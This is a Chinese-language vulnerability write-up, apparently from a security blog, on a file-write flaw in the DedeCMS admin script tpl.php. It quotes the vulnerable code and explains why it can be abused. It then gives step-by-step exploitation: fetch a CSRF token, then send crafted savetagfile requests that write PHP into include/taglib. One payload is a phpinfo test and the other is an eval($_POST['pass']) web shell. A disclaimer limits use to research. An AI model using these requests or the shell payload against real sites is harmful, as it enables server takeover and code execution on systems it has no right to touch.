漏洞详情
织梦默认的后台地址是/dede/,当然也可以被更改,到时候根据网站具体情况替换默认后台地址即可。
dede/tpl.php 中第251行到281行
csrf_check(); if(!preg_match("#^[a-z0-9_-]{1,}/.lib/.php$#i", $filename)) { ShowMsg('文件名不合法,不允许进行操作!', '-1'); exit(); } require_once(DEDEINC.'/oxwindow.class.php'); $tagname = preg_replace("#/.lib/.php$#i", "", $filename); $content = stripslashes($content); $truefile = DEDEINC.'/taglib/'.$filename; $fp = fopen($truefile, 'w'); fwrite($fp, $content); fclose($fp);
1.由于dedecms全局变量注册的特性,所以这里的content变量和filename变量可控。
2.可以看到将content直接写入到文件中导致可以getshell。但是这里的文件名经过正则表达式,所以必须要.lib.php结尾。
注意: 这里还有一个csrf_check()函数,即请求中必须要带token参数。
漏洞利用
先获取token,访问/dede/tpl.php?action=upload
查看源代码 取得token
在构建 访问
网址/后台/tpl.php?filename=tuifei.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=token值
得到的地址是
http://网址/include/taglib/tuifei.lib.php
需要getshell是这样
网址/后台/tpl.php?filename=tuifeiseo.lib.php&action=savetagfile&content=%3C?php%20eval($_POST['pass'])?%3E&token=token值
成功是这样
得到的地址是
http://网址/include/taglib/tuifeiseo.lib.php
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论